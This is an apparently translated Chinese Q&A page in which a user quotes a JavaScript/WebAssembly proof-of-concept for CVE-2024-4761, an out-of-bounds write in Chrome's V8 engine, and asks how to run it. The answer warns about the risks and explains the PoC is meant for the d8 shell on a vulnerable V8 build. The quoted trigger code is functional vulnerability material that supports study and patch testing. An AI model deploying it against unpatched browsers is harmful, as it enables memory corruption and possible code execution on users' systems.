如何构建/演示基于债券外 (oob) 的 CVE Google Chrome 的概念验证 (PoC)

问题描述 投票:0回答:1

我正在阅读一篇关于 Google Chrome 中 CVE 概念证明(OOB 问题) 的文章,其中包含以下代码片段:(https://medium.com/@elniak/cve-2024-4761-exploiting-chromes -javascript-engine-highly-exploited-poc-presented-dcf9cab95c00)

const prefix = "...";
d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
  let builder = new WasmModuleBuilder();
  let array = builder.addArray(kWasmI32, true);
  builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef]))
    .addBody([
            kExprLocalGet, 0,
            kGCPrefix, kExprArrayNewDefault, array,
            kGCPrefix, kExprExternConvertAny,
          ])
    .exportFunc();
/*
 builder.addFunction('set', makeSig([kWasmExternRef, kWasmI32, kWasmI32], []))
    .addBody([
            kExprLocalGet, 0,
            kGCPrefix, kExprAnyConvertExtern,
            kGCPrefix, kExprRefCastNull, array,
            kExprLocalGet, 1,
            kExprLocalGet, 2,
            kGCPrefix, kExprArraySet, array,
          ])
    .exportFunc();

*/
let instance = builder.instantiate({});
let wasm = instance.exports;
let array42 = wasm.createArray(42);
// %DebugPrint(array42);
let src = {};
src.a = 1;
delete src.a;
for (let i = 0; i < 1024; i++) {
  src[`p${i}`] = 1;
}

// %DebugPrint(src);
// %SetDataProperties(array42, src);
Object.assign(array42, src);

所以,它似乎是在 JS 中。

如何演示此代码片段的工作原理?

我尝试将其另存为 .js 文件并在 Chrome 浏览器(应用程序版本 110.80)中打开它

没有任何作用。我不知道它有何危害或可能允许 RCE。需要一些有关代码片段的潜在利用的信息。

这是为了教育目的

javascript google-chrome security cve
1个回答
0
投票

首先警告

如果您不熟悉来自不受信任来源的一段代码,通过阅读/研究它会做什么,那么您运行它是一个非常非常糟糕的主意 对于提供的与安全漏洞相关的片段尤其如此,其中出现严重错误的可能性更高,无论是无意还是其他原因。

特别是对于这个 PoC,您应该预期它可能会导致您的系统出现严重不稳定,因为它能够写入任意内存位置。


如何演示此代码片段的工作原理?

您感兴趣的概念验证代码指的是全局
d8

变量,这非常强烈地表明这是旨在与 V8 引擎的

d8 命令行开发人员工具一起使用的代码。
在本地计算机上安装 
d8

(以及易受相关 CVE 攻击的

V8

 引擎版本)后,您可以将此代码段保存到文件中,并使用 
d8
 调用它大多数其他命令行程序,即 
d8 script.js
	

© www.soinside.com 2019 - 2024. All rights reserved.